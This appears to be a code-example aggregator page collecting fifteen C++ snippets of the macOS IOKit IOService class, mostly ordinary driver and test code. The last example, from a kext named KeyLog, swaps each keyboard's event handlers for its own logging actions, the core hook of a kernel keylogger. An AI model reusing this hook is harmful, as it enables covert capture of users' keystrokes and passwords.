本文整理汇总了C++中IOService类的典型用法代码示例。如果您正苦于以下问题:C++ IOService类的具体用法?C++ IOService怎么用?C++ IOService使用的例子?那么, 这里精选的类代码示例或许可以为您提供帮助。
在下文中一共展示了IOService类的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: db_dumpiojunk
void db_dumpiojunk( const IORegistryPlane * plane )
{
IORegistryEntry * next;
IORegistryIterator * iter;
OSOrderedSet * all;
char format[] = "%xxxs";
IOService * service;
iter = IORegistryIterator::iterateOver( plane );
all = iter->iterateAll();
if( all) {
dbugprintf("Count %d\n", all->getCount() );
all->release();
} else dbugprintf("Empty\n");
iter->reset();
while( (next = iter->getNextObjectRecursive())) {
snprintf(format + 1, sizeof(format) - 1, "%ds", 2 * next->getDepth( plane ));
dbugprintf( format, "");
dbugprintf( "%s", next->getName( plane ));
if( (next->getLocation( plane )))
dbugprintf("@%s", next->getLocation( plane ));
dbugprintf(" <class %s", next->getMetaClass()->getClassName());
if( (service = OSDynamicCast(IOService, next)))
dbugprintf(", busy %ld", service->getBusyState());
dbugprintf( ">\n");
}
iter->release();
}
示例2: IOPrintPlane
void IOPrintPlane( const IORegistryPlane * plane )
{
IORegistryEntry * next;
IORegistryIterator * iter;
OSOrderedSet * all;
char format[] = "%xxxs";
IOService * service;
iter = IORegistryIterator::iterateOver( plane );
assert( iter );
all = iter->iterateAll();
if( all) {
DEBG("Count %d\n", all->getCount() );
all->release();
} else
DEBG("Empty\n");
iter->reset();
while( (next = iter->getNextObjectRecursive())) {
snprintf(format + 1, sizeof(format) - 1, "%ds", 2 * next->getDepth( plane ));
DEBG( format, "");
DEBG( "\033[33m%s", next->getName( plane ));
if( (next->getLocation( plane )))
DEBG("@%s", next->getLocation( plane ));
DEBG("\033[0m <class %s", next->getMetaClass()->getClassName());
if( (service = OSDynamicCast(IOService, next)))
DEBG(", busy %ld", (long) service->getBusyState());
DEBG( ">\n");
// IOSleep(250);
}
iter->release();
}
示例3: while
IOReturn IOI2CMaxim1631::publishChildren(IOService *nub)
{
OSIterator *childIterator = NULL;
IORegistryEntry *childEntry = NULL;
IOService *childNub = NULL;
childIterator = nub->getChildIterator(gIODTPlane);
if( childIterator != NULL )
{
// Iterate through children and create nubs
while ( ( childEntry = (IORegistryEntry *)( childIterator->getNextObject() ) ) != NULL )
{
// Publish child as IOService
childNub = OSDynamicCast(IOService, OSMetaClass::allocClassWithName("IOService"));
childNub->init(childEntry, gIODTPlane);
childNub->attach(this);
childNub->registerService();
DLOG("IOI2CMaxim1631::publishChildren(0x%x) published child %s\n", getI2CAddress(), childEntry->getName());
}
childIterator->release();
}
return kIOReturnSuccess;
}
示例4: publishBelow
void ARMIO::publishBelow( IORegistryEntry * root )
{
OSCollectionIterator * kids;
IORegistryEntry * next;
IOService * nub;
// infanticide
kids = IODTFindMatchingEntries( root, kIODTRecursive, deleteList() );
if( kids) {
while( (next = (IORegistryEntry *)kids->getNextObject())) {
next->detachAll( gIODTPlane);
}
kids->release();
}
// publish everything below, minus excludeList
kids = IODTFindMatchingEntries( root, kIODTRecursive | kIODTExclusive,
excludeList());
if( kids) {
while( (next = (IORegistryEntry *)kids->getNextObject())) {
if( 0 == (nub = createNub( next )))
continue;
nub->attach( this );
processNub(nub);
nub->registerService();
}
kids->release();
}
}
示例5: TEST_F
TEST_F(RPCTest, test_30_client_shutdown_halfway) {
IOService service;
printf("%d\n", test_port);
test_count = 10000;
min_success = std::numeric_limits<int>::max();
max_success = -1;
EchoServer::Ptr server = EchoServer::create<EchoServer>(&service, "127.0.0.1", test_port);
server->bind_and_listen();
Thread* run_thrs[12];
for (int i = 0; i < 12; i++) {
run_thrs[i] = new Thread([&service](){service.run(); LOG_DEBUG("run thread exiting");});
}
Thread* client_thrs[30];
for (int i = 0; i < 30; i++) {
client_thrs[i] = new Thread(std::bind(client_thread));
}
sleep(1);
server->shutdown();
server.reset();
for (int i = 0; i < 30; i++) {
client_thrs[i]->join();
delete client_thrs[i];
}
for (int i = 0; i < 12; i++) {
run_thrs[i]->join();
delete run_thrs[i];
}
LOG_INFO("min %d max %d", min_success, max_success);
}
示例6: DbgLog
IOService * ACPIBacklightPanel::getBatteryDevice()
{
DbgLog("%s::%s()\n", this->getName(),__FUNCTION__);
OSDictionary * matching = IOService::serviceMatching("IOPMPowerSource");
OSIterator * iter = NULL;
IOService * bat = NULL;
if (matching)
{
DbgLog("%s: getBatteryDevice() serviceMatching OK\n", this->getName());
iter = IOService::getMatchingServices(matching);
matching->release();
}
if (iter)
{
DbgLog("%s: getBatteryDevice() iter OK\n", this->getName());
bat = OSDynamicCast(IOService, iter->getNextObject());
if (bat)
{
DbgLog("%s: getBatteryDevice() bat is of class %s\n", this->getName(), bat->getMetaClass()->getClassName());
}
iter->release();
}
return bat;
}
示例7: while
IOReturn IOI2CDriveBayGPIO::publishChildren(IOService *provider)
{
IOReturn status = kIOReturnSuccess;
OSIterator *iter;
IORegistryEntry *next;
IOService *nub;
if (iter = provider->getChildIterator(gIODTPlane))
{
// Iterate through children and create nubs
while (next = (IORegistryEntry *)(iter->getNextObject()))
{
nub = OSDynamicCast(IOService, OSMetaClass::allocClassWithName("IOI2CService"));
if (nub)
{
nub->init(next, gIODTPlane);
nub->attach(this);
nub->registerService();
// DLOG("[email protected]%lx::publishChildren published child %s\n", getI2CAddress(), next->getName());
}
}
iter->release();
}
return status;
}
示例8: debugIOLog
IOReturn AudioProj7PowerObject::setHardwarePowerOn(){
debugIOLog (3, "+ AudioProj7PowerObject::setHardwarePowerOn");
IOReturn result = kIOReturnSuccess;
UInt32 progOut;
IOService *keyLargo = 0;
keyLargo = IOService::waitForService(IOService::serviceMatching("KeyLargo"));
if(keyLargo){
long gpioOffset = kPowerObjectOffset;
UInt8 value = kPowerOn;
keyLargo->callPlatformFunction("keyLargo_writeRegUInt8", false, (void *)&gpioOffset, (void *)(UInt32)value, 0, 0);
}
if(audioPluginRef) {
IOSleep(300); // we need to wait to be sure that the antipop has the time to do his stuff
progOut = audioPluginRef->sndHWGetProgOutput();
progOut |= kSndHWProgOutput0;
audioPluginRef->sndHWSetProgOutput(progOut);
}
if(audioPluginRef) {
audioPluginRef->sndHWSetPowerState(kIOAudioDeviceActive);
audioPluginRef->setDeviceDetectionActive();
}
debugIOLog (3, "- AudioProj7PowerObject::setHardwarePowerOn");
return result;
}
示例9: while
IOHIDKeyboardDevice *
IOHIDKeyboardDevice::newKeyboardDeviceAndStart(IOService * owner, UInt32 location)
{
IOService * provider = owner;
while ( NULL != (provider = provider->getProvider()) )
{
if(OSDynamicCast(IOHIDDevice, provider) || OSDynamicCast(IOHIDevice, provider))
return 0;
}
IOHIDKeyboardDevice * device = new IOHIDKeyboardDevice;
if (device)
{
if ( device->initWithLocation(location) && device->attach(owner) )
{
if (!device->start(owner))
{
device->detach(owner);
device->release();
device = 0;
}
}
else
{
device->release();
device = 0;
}
}
return device;
}
示例10: getProvider
void IOInterruptController::timeStampInterruptHandlerInternal(bool isStart, IOInterruptVectorNumber vectorNumber, IOInterruptVector *vector)
{
uint64_t providerID = 0;
vm_offset_t unslidHandler = 0;
vm_offset_t unslidTarget = 0;
IOService * provider = getProvider();
if (provider) {
providerID = provider->getRegistryEntryID();
}
if (vector) {
unslidHandler = VM_KERNEL_UNSLIDE((vm_offset_t)vector->handler);
unslidTarget = VM_KERNEL_UNSLIDE_OR_PERM((vm_offset_t)vector->target);
}
if (isStart) {
IOTimeStampStartConstant(IODBG_INTC(IOINTC_HANDLER), (uintptr_t)vectorNumber, (uintptr_t)unslidHandler,
(uintptr_t)unslidTarget, (uintptr_t)providerID);
} else {
IOTimeStampEndConstant(IODBG_INTC(IOINTC_HANDLER), (uintptr_t)vectorNumber, (uintptr_t)unslidHandler,
(uintptr_t)unslidTarget, (uintptr_t)providerID);
}
}
示例11: require
IOReturn
IOI2CLM6x::createChildNubs (
IOService* nub
)
{
OSIterator* childIterator;
IORegistryEntry* childEntry;
IOService* childNub;
require( ( childIterator = nub->getChildIterator( gIODTPlane ) ) != NULL, IOI2CLM6x_createChildNubs_getChildIteratorNull );
while ( ( childEntry = ( IORegistryEntry * ) childIterator->getNextObject() ) != NULL )
{
childNub = OSDynamicCast( IOService, OSMetaClass::allocClassWithName( "IOService" ) );
if ( childNub )
{
childNub->init( childEntry, gIODTPlane );
childNub->attach( this );
childNub->registerService();
}
}
IOI2CLM6x_createChildNubs_getChildIteratorNull:
return( kIOReturnSuccess );
}
示例12: while
IOReturn AppleLM8x::publishChildren(IOService *nub)
{
OSIterator *childIterator = NULL;
IORegistryEntry *childEntry = NULL;
IOService *childNub = NULL;
IOReturn status;
childIterator = nub->getChildIterator(gIODTPlane);
if( childIterator != NULL )
{
// Iterate through children and create nubs
while ( ( childEntry = (IORegistryEntry *)( childIterator->getNextObject() ) ) != NULL )
{
// Build Table
status = buildEntryTable(childEntry);
LUNtableElement++;
// Publish child as IOService
childNub = OSDynamicCast(IOService, OSMetaClass::allocClassWithName("IOService"));
childNub->init(childEntry, gIODTPlane);
childNub->attach(this);
childNub->registerService();
// DLOG("AppleLM8x::publishChildren(0x%x) published child %s\n", kLM8xAddr<<1, childEntry->getName());
}
childIterator->release();
}
return kIOReturnSuccess;
}
示例13: MI_LOG_INFO
void IOService::StopCurrentIOService(int signal) {
MI_LOG_INFO(logger, "IOService::StopCurrentIOService signal:" << signal);
if (current_) {
IOService* current = (IOService*)current_;
current->Stop();
}
}
示例14: IOPolledFilePollersOpen
IOReturn
IOPolledFilePollersOpen(IOPolledFileIOVars * filevars, uint32_t state, bool abortable)
{
IOPolledFilePollers * vars = filevars->pollers;
IOBufferMemoryDescriptor * ioBuffer;
IOPolledInterface * poller;
IOService * next;
IOReturn err = kIOReturnError;
int32_t idx;
vars->abortable = abortable;
ioBuffer = 0;
if (kIOPolledAfterSleepState == state)
{
vars->ioStatus = 0;
vars->io = false;
}
(void) IOPolledFilePollersIODone(vars, false);
if ((kIOPolledPreflightState == state) || (kIOPolledPreflightCoreDumpState == state))
{
ioBuffer = vars->ioBuffer;
if (!ioBuffer)
{
vars->ioBuffer = ioBuffer = IOBufferMemoryDescriptor::withOptions(kIODirectionInOut,
2 * kDefaultIOSize, page_size);
if (!ioBuffer) return (kIOReturnNoMemory);
}
}
for (idx = vars->pollers->getCount() - 1; idx >= 0; idx--)
{
poller = (IOPolledInterface *) vars->pollers->getObject(idx);
err = poller->open(state, ioBuffer);
if ((kIOReturnSuccess != err) && (kIOPolledPreflightCoreDumpState == state))
{
err = poller->open(kIOPolledPreflightState, ioBuffer);
}
if (kIOReturnSuccess != err)
{
HIBLOG("IOPolledInterface::open[%d] 0x%x\n", idx, err);
break;
}
}
if (kIOReturnSuccess == err)
{
next = vars->media;
while (next)
{
next->setProperty(kIOPolledInterfaceActiveKey, kOSBooleanTrue);
next = next->getProvider();
}
}
return (err);
}
示例15: OSDynamicCast
bool com_prebeg_kext_KeyLog::notificationHandler(void *target, void *ref, IOService *newServ, IONotifier *notifier)
{
com_prebeg_kext_KeyLog* self = OSDynamicCast( com_prebeg_kext_KeyLog, (OSMetaClassBase*)target );
if (!self)
return false;
#ifdef DEBUG
IOLog( "%s::Notification handler called\n", self->getName() );
#endif
IOHIKeyboard* keyboard = OSDynamicCast( IOHIKeyboard, newServ );
if (!keyboard)
return false;
if (!keyboard->_keyboardEventTarget)
{
#ifdef DEBUG
IOLog( "%s::No Keyboard event target\n", self->getName());
#endif
return false;
}
// event target must be IOHIDSystem
IOService* targetServ = OSDynamicCast( IOService, keyboard->_keyboardEventTarget );
if (targetServ)
{
#ifdef DEBUG
IOLog( "%s::Keyboard event target is %s\n", self->getName(), targetServ->getName());
#endif
}
if (!keyboard->_keyboardEventTarget->metaCast("IOHIDSystem"))
return false;
// we have a valid keyboard to be logged
#ifdef DEBUG
IOLog( "%s::Adding keyboard %p\n", self->getName(),keyboard );
#endif
int index = self->loggedKeyboards->getNextIndexOfObject(keyboard,0);
if (index<0)
{
self->loggedKeyboards->setObject(keyboard);
self->kextKeys++;
}
origAction = keyboard->_keyboardEventAction; // save the original action
keyboard->_keyboardEventAction = (KeyboardEventAction) logAction; // apply the new action
origSpecialAction = keyboard->_keyboardSpecialEventAction; // save the original action
keyboard->_keyboardSpecialEventAction = (KeyboardSpecialEventAction) specialAction; // apply the new action
return true;
}